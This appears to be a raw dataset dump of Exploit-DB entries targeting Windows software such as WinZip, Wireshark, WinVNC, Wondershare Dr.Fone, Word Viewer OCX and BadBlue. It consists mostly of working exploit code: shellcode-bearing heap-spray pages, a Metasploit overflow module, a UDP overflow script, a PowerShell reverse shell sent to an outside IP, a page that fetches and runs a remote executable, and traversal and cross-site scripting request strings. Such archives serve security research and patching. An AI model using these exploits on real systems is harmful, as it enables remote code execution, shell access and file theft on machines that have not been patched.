deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15427
Description: WinTFTP Server Pro 3.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-11-05
Author: Yakir Wizman

Exploit:
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# WinTFTP Pro Server is vulnerable for a path traversal, the following will explain you how to read & write files
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
# The vulnerable FTP command are:
# * GET 	- Read 	File
# * PUT 	- Write File
#-----------------------------------
# Vulnerability Title: WinTFTP Server Pro v3.1 Remote Directory Traversal Vulnerability
# Date: 31/10/2010
# Author: Pr0T3cT10n
# Software Link: http://www.wintftp.com
# Affected Version: 3.1
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>tftp

Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

  -i              Specifies binary image transfer mode (also called
                  octet). In binary image mode the file is moved
                  literally, byte by byte. Use this mode when
                  transferring binary files.
  host            Specifies the local or remote host.
  GET             Transfers the file destination on the remote host to
                  the file source on the local host.
  PUT             Transfers the file source on the local host to
                  the file destination on the remote host.
  source          Specifies the file to transfer.
  destination     Specifies where to transfer the file.


C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../boot.ini C:\boot.txt

Transfer successful: 211 bytes in 1 second, 211 bytes/s

C:\Documents and Settings\Admin>type c:\boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

C:\Documents and Settings\Admin>
Exploit-DB #16491
Description: WinVNC Web Server 3.3.3r7 - GET Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2009-12-06
Author: Metasploit

Exploit:
##
# $Id: winvnc_http_get.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


	class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'WinVNC Web Server <= v3.3.3r7 GET Overflow',
			'Description'	=> %q{
				This module exploits a buffer overflow in the AT&T WinVNC version
				<= v3.3.3r7 web server. When debugging mode with logging is
				enabled (non-default), an overly long GET request can overwrite
				the stack. This exploit does not work well with VNC payloads!
			},
			'Author' 	=> 'patrick',
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 7724 $',
			'References'    =>
			[
				[ 'BID', '2306' ],
				[ 'OSVDB', '6280' ],
				[ 'CVE', '2001-0168' ],
			],
			'Privileged'		=> true,
			'DefaultOptions'	=>
			{
				'EXITFUNC'	=> 'thread',
			},
			'Payload'		=>
				{
					'Space'			=> 979,
					'BadChars' 		=> "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",
					'StackAdjustment' 	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
			[
				[ 'Windows NT4 SP3-6', 	{ 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll
				[ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll
				[ 'Windows XP SP0-1', 	{ 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll
			],
			'DisclosureDate' => 'Jan 29 2001',
			'DefaultTarget' => 1))

			register_options(
			[
				Opt::RPORT(5800),
			],self.class)
	end

	def exploit

		sploit = '/' + payload.encoded + [target['Ret']].pack('V')
		sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)

		res = send_request_raw({
			'uri'          => sploit,
			'method'       => 'GET',
		}, 5)

		handler

	end

end
Exploit-DB #3055
Description: WinZip 10.0 - FileView ActiveX Controls Remote Overflow
Type: remote
Platform: windows
Date: 2006-12-31
Author: XiaoHui

Exploit:
<html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
</object>
</head>
<body>
<SCRIPT language="javascript">
 /*
 ---===[ winzip-exploit.html
 
XiaoHui : 76693223[at]163com
HomePage: www.nipc.org.cn
(c) 2006 All rights reserved.
note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled this ActiveX Controls,
To test this vuln,You can delete the key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A09AE68F-B14D-43ED-B713-BA413F034904}]
"Compatibility Flags"=dword:00000400
I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN) and Winzip 10.0(6667),you can tryother version,goodluck~ 

]===---
*/
 var heapSprayToAddress = 0x0d0d0d0d;
 var payLoadCode = unescape(        "%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
 var heapBlockSize = 0x400000;
 var payLoadSize = payLoadCode.length * 2;
 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
 var spraySlide = unescape("%u9090%u9090");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);
 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
 memory = new Array();
 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + payLoadCode;
 }
 
 var xh = 'A';
 while (xh.length < 231) xh+='A';
 xh+="\x0d\x0d\x0d\x0d";
 winzip.CreateNewFolderFromName(xh);
 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 }
 
</script>                                                                                                                    
                                      
</body>
</html>

# milw0rm.com [2006-12-31]
Exploit-DB #3420
Description: WinZip 10.0.7245 - FileView ActiveX Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2007-03-06
Author: prdelka

Exploit:
<!--
prdelka
http://blogs.23.nu/prdelka

I made a version of my winzip exploit that utilises the heap spray 
method with a bindshell for some project or other. you can download a 
copy here if its of use to you, note i used a different method courtesy 
of http://www.milw0rm.com/exploits/3055 - however i couldnt get their 
exploit to function. enjoy. 
-->

<HTML>
<HEAD>
<meta http-equiv="refresh" content="0">
<TITLE></TITLE>
</HEAD>
<BODY>
<OBJECT ID="WZFILEVIEW" WIDTH=50 HEIGHT=50 CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904"></OBJECT>
<script type="text/javascript">
shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
//bindshell port 28876
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<900;i++) memory[i] = block + shellcode;
var buf = 'A';
while (buf.length < 512) buf+='\x09';
WZFILEVIEW.CreateNewFolderFromName(buf);
</SCRIPT>
</BODY>
</HTML>

# milw0rm.com [2007-03-06]
Exploit-DB #11453
Description: Wireshark 1.2.5 - LWRES getaddrbyname Buffer Overflow
Type: remote
Platform: windows
Date: 2010-02-15
Author: Nullthreat & Pure|Hate

Exploit:
#!/usr/bin/env python
# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow
# Discovered by babi
# Reference: http://www.exploit-db.com/exploits/11288
# Exploit Dev by Nullthreat & Pure|Hate

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  exit(2)

port = 921
addr = (host, port)

leng = 9150
high = int(leng / 256)
low = leng & 255

crash = ("A" * 2128)

# Short jump
jmp = "\x90\x90\x06\xeb"

# pop/pop/ret in pcre3 0x61b4121b
ppr = "\x1b\x12\xb4\x61"

nop  = ("\x90" * 24)

# 224 bytes = calc.exe
shellcode = (
"\xbf\x86\x0a\x33\xa0\x2b\xc9\xda\xd9\xd9\x74\x24\xf4\xb1"
"\x32\x5e\x31\x7e\x11\x03\x7e\x11\x83\xc6\x82\xe8\xc6\x5c"
"\x62\x65\x28\x9d\x72\x16\xa0\x78\x43\x04\xd6\x09\xf1\x98"
"\x9c\x5c\xf9\x53\xf0\x74\x8a\x16\xdd\x7b\x3b\x9c\x3b\xb5"
"\xbc\x10\x84\x19\x7e\x32\x78\x60\x52\x94\x41\xab\xa7\xd5"
"\x86\xd6\x47\x87\x5f\x9c\xf5\x38\xeb\xe0\xc5\x39\x3b\x6f"
"\x75\x42\x3e\xb0\x01\xf8\x41\xe1\xb9\x77\x09\x19\xb2\xd0"
"\xaa\x18\x17\x03\x96\x53\x1c\xf0\x6c\x62\xf4\xc8\x8d\x54"
"\x38\x86\xb3\x58\xb5\xd6\xf4\x5f\x25\xad\x0e\x9c\xd8\xb6"
"\xd4\xde\x06\x32\xc9\x79\xcd\xe4\x29\x7b\x02\x72\xb9\x77"
"\xef\xf0\xe5\x9b\xee\xd5\x9d\xa0\x7b\xd8\x71\x21\x3f\xff"
"\x55\x69\xe4\x9e\xcc\xd7\x4b\x9e\x0f\xbf\x34\x3a\x5b\x52"
"\x21\x3c\x06\x39\xb4\xcc\x3c\x04\xb6\xce\x3e\x27\xde\xff"
"\xb5\xa8\x99\xff\x1f\x8d\x55\x4a\x3d\xa4\xfd\x13\xd7\xf4"
"\x60\xa4\x0d\x3a\x9c\x27\xa4\xc3\x5b\x37\xcd\xc6\x20\xff"
"\x3d\xbb\x39\x6a\x42\x68\x3a\xbf\x21\xef\xa8\x23\xa6\xe5"
)

crash2 = ("\xcc" * 6752)

data  = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x00\x00\x01"
data += chr(high) + chr(low) + crash + jmp + ppr + nop  + shellcode + crash2 + "\x00\x00"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  exit(1)

udps.close()
exit(0)
Exploit-DB #17053
Description: wodWebServer.NET 1.3.3 - Directory Traversal
Type: remote
Platform: windows
Date: 2011-03-27
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................wodWebServer.NET 1.3.3
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://www.weonlydo.com/WebServer.NET/web-http-net-server.asp
Vendor Contact Date.....3/13/2011
Disclosure Date.........3/27/2011
Tested On...............Windows Vista
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A directory traversal vulnerability in wodWebServer.NET 1.3.3 can be
exploited to read files outside of the web root.


--Exploit--

..%5C/
..%2F/
..%2E/
..\/
..//
.../
..\
../


--PoC--

http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows%5C/win.ini
Exploit-DB #50913
Description: Wondershare Dr.Fone 12.0.7 - Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2022-05-11
Author: Netanel Cohen

Exploit:
# Exploit Title: Wondershare Dr.Fone 12.0.7 - Remote Code Execution (RCE)
# Date: 4/27/2022
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44596
# References: https://github.com/netanelc305/WonderShell

Wondershare LTD Dr. Fone as of 2021-12-06 version is affected by Remote code execution. Due to software design flaws an unauthenticated user can communicate over UDP with the "InstallAssistService.exe" service(the service is running under SYSTEM privileges) and manipulate it to execute malicious executable without any validation from a remote location and gain SYSTEM privileges
#!/usr/bin/python3
# stty raw -echo; (stty size; cat) | nc -lvnp 1337

import socket

payload = """WindowsPowerShell\\v1.0\powershell.exe
-nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.14.129',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Admin
12345"""

byte_message = bytes(payload, "utf-8")

for i in range(1024,65500):
    opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    opened_socket.sendto(byte_message, ("192.168.14.137", i))
    print(f"Trying port {i}",end="\r")
Exploit-DB #7747
Description: Word Viewer OCX 3.2 - ActiveX 'Save' Remote File Overwrite
Type: remote
Platform: windows
Date: 2009-01-13
Author: Houssamix

Exploit:
=======================================================================================<br>
Author: Houssamix									   <br>
=======================================================================================<br>

 Word viewer OCX V 3.2 Remote File Overwrite exploit				<br>
 Download : http://www.officeocx.com/download/WordOCXSetup3.2.exe		 <br>

 Tested on Windows XP Professional SP2 , with Internet Explorer 6	<br>


=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22BF2}"></object>

<SCRIPT>

function Do_it()
 {
     File = "c:\\windows\\system_.ini"
   hsmx.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================<br>

This was written for educational purpose. Use it at your own risk.<br>
Author will be not responsible for any damage.<br>

# milw0rm.com [2009-01-13]
Exploit-DB #7757
Description: Word Viewer OCX 3.2 - Remote Command Execution
Type: remote
Platform: windows
Date: 2009-01-13
Author: Stack

Exploit:
<HTML>
---------------------------------------------------------- <br>
 Word viewer OCX V 3.2 Remote File execution exploit<br>
---------------------------------------------------------- <br>
-----------------------------------<br>
#  By Mountassif Moad a.k.a Stack #
-----------------------------------<br>
<!--
v4 Team & evil finger
Class OA
GUID: {97AF4A45-49BE-4485-9F55-91AB40F22BF2}
Number of Interfaces: 1
Default Interface: _DOA
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Report for Clsid: {97AF4A45-49BE-4485-9F55-91AB40F22BF2}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data 
IPersist Safe:  Safe for untrusted: caller,data 
IPStorage Safe:  Safe for untrusted: caller,data  -->
<title>Word viewer OCX V 3.2 Remote File execution exploit</title>
<BODY>
 <object id=Stack classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22BF2}"></object>
<SCRIPT>
function Do_it()
 {
   File = "http://monmaroc.com/calc.exe"
   Stack.OpenWebFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="exploit">
</body>
</HTML>

# milw0rm.com [2009-01-13]
Exploit-DB #21616
Description: Working Resources 1.7.3 BadBlue - Null Byte File Disclosure
Type: remote
Platform: windows
Date: 2002-06-13
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5226/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is available for Microsoft Windows operating systems.

It has been discovered that a request passed to a BadBlue server containing a null byte at the end of a file name will return the contents of the file. This type of request can be applied to gain access to sensitive information, such as the BadBlue configuration file. 

GET /ext.ini.% 00.txt HTTP/1.0
Exploit-DB #21630
Description: Working Resources 1.7.x BadBlue - Administrative Interface Arbitrary File Access
Type: remote
Platform: windows
Date: 2002-07-20
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5276/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is available for Microsoft Windows operating systems.

BadBlue does not sufficiently control access to the administrative interface. It is possible to remotely add the entire drive of a system running a vulnerable BadBlue implementation via a maliciously crafted web page containing a form POST method. This would allow remote users to via the contents of the drive with the privileges of the BadBlue server.

<HTML>
<HEAD>
<FORM ACTION=http://localhost/ext.dll METHOD=GET>
<INPUT TYPE=hidden NAME=MfcISAPICommand VALUE=LoadPage>
<INPUT TYPE=hidden NAME=page VALUE=dir.hts>
<INPUT TYPE=hidden NAME=a0 VALUE=add>
<INPUT TYPE=hidden NAME=a2 VALUE=hd>
<INPUT TYPE=hidden NAME=a1 VALUE=C:\>
</FORM>
</HEAD>
<BODY ONLOAD="document.forms(0).submit()" />
</HTML>
Exploit-DB #22511
Description: Working Resources 1.7.x/2.15 BadBlue - 'ext.dll' Command Execution
Type: remote
Platform: windows
Date: 2003-04-20
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7387/info

BadBlue is prone to a vulnerability that could allow remote attackers to gain unauthorized access. This is due to an input validation issue in the 'ext.dll' component that could allow a remote attacker to cause '.hts' files to be interpreted by the server. This could lead to unauthorized execution of administrative commands. 

http://www.example.com/ext.dll?MfcIsapiCommand=LoadPage&page=admin.hts%20&a0=add&a1
=root&a2=%5C
Exploit-DB #20640
Description: Working Resources BadBlue 1.2.7 - Full Path Disclosure
Type: remote
Platform: windows
Date: 2001-02-20
Author: SNS Research

Exploit:
source: https://www.securityfocus.com/bid/2390/info

Requesting a specially crafted URL to a machine running Working Resources BadBlue, will disclose the physical path to the root directory. 

http://target/ext.dll

will result in:

[Error: opening c:\program files\badblue\pe\default.htx (2)]
Exploit-DB #21303
Description: Working Resources BadBlue 1.5/1.6 - Directory Traversal
Type: remote
Platform: windows
Date: 2002-02-26
Author: Strumpf Noir Society

Exploit:
source: https://www.securityfocus.com/bid/4179/info

Working Resources BadBlue is a webserver intended to share various resources and is developed for Microsoft Windows environments.

BadBlue is prone to directory traversal attacks. It is possible for a remote attacker to submit a malicious web request containing triple-dot-slash (.../) sequences to break out of wwwroot. The attacker may browse arbitrary web-readable files on the host running the vulnerable software.

On Windows operating systems, webservers run in the SYSTEM context. A remote attacker may exploit this vulnerability to read any file on the host that will render in their web browser.

Deerfield's D2Gfx is powered by BadBlue v1.02 and should be considered vulnerable as well. 

http://server/.../...//file.ext
Exploit-DB #21576
Description: Working Resources BadBlue 1.7 - 'ext.dll' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-06-23
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5086/info

BadBlue is a P2P file sharing application distributed by Working Resources. The ext.dll ISAPI does not sufficiently sanitize input. Because of this, it is possible for a user to create a custom URL containing script code that, when viewed in a browser by another user, will result in the execution of the script code. This could allow for the execution of malicious JavaScript in the context of a trusted site. 

http://target/ext.dll?MfcISAPICommand=LoadPage&page=search.htx&a0=%3Cscript%3Ealert('lame')%3C/script%3E&a1=0&a2=1&a3=6
Exploit-DB #21599
Description: Working Resources BadBlue 1.7.3 - 'cleanSearchString()' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-07-08
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5179/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is designed for use on Microsoft Windows operating systems. BadBlue is operated through a web interface, generated by an included web server running on the local system.

A variant to BID 5086 has been reported to exist. Reportedly, EXT.DLL has been re-designed to pass user input to the cleanSearchString function. Unfortunately, this function is implemented as client side javascript, and unsanitized input must be displayed on the client machine as it is passed to the cleanSearchString function.

Additionally, user supplied input is displayed as the hidden form value "a0" without being sanitized. 

"hi"'));alert("ZING!!!");document.write(cleanSearchString('a

"><script>alert("ZING!!!");</script><
Exploit-DB #22620
Description: Working Resources BadBlue 1.7.x/2.x - Unauthorized HTS Access
Type: remote
Platform: windows
Date: 2003-05-20
Author: mattmurphy

Exploit:
source: https://www.securityfocus.com/bid/7638/info

BadBlue is prone to a vulnerability that could allow remote attackers to gain unauthorized access to administrative functions.

It is possible to bypass BadBlue security checks when '.hts' files are requested by a remote user. BadBlue restricts access to non-HTML files by replacing the first two letters in the file extension of a requested resource with 'ht'. If the third character of a file extension is 's', then it is possible to trick BadBlue into serving a non-HTML file with an extension of '.hts'. This will bypass other security checks which would normally prevent BadBlue from serving these files to remote users.

http://www.example.com/ext.dll?mfcisapicommand=loadpage&page=admin.ats&a0=add&a1=root&a2=%5C

This example will reveal the contents of the server's primary volume.